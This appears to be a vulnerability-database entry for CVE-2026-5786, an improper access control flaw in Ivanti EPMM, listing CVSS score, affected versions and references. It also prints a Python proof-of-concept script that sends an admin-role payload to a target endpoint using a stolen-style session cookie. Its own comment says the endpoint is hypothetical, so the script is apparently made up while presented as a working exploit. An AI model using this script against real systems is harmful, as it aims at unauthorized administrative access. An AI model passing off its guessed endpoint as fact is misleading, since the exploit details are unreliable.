CVE-2026-5786

Description

An Improper Access Control vulnerability in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remote authenticated attacker to gain administrative access.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ivanti:endpoint_manager_mobile:12.8.0.0:*:*:*:*:*:*:* - VULNERABLE

Ivanti EPMM < 12.6.1.1

Ivanti EPMM < 12.7.0.1

Ivanti EPMM < 12.8.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-5786
# This script demonstrates the privilege escalation vulnerability.
# Usage: python3 poc.py <target_url> <session_cookie>

import requests
import sys

if len(sys.argv) < 3:
    print(f"Usage: {sys.argv[0]} <target_url> <cookie>")
    sys.exit(1)

target = sys.argv[1].rstrip('/')
cookie = sys.argv[2]

# The vulnerable endpoint that allows role modification without proper authorization
# Endpoint is hypothetical based on typical EPMM structures
vuln_endpoint = f"{target}/mics/users/self/upgrade"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Cookie": f"JSESSIONID={cookie}",
    "Content-Type": "application/json"
}

# Payload to grant administrative privileges
payload = {
    "role": "admin",
    "permissions": ["read", "write", "execute", "admin"]
}

try:
    print(f"[*] Attempting to exploit {target}...")
    response = requests.post(vuln_endpoint, json=payload, headers=headers, verify=False, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit successful! Privileges escalated.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Exploit failed. Status Code: {response.status_code}")
        print(f"[-] Response: {response.text}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5786
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5786
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5786/
[4] VulDB https://vuldb.com/cve/CVE-2026-5786
[5] https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs

Raw JSON Data

JSON

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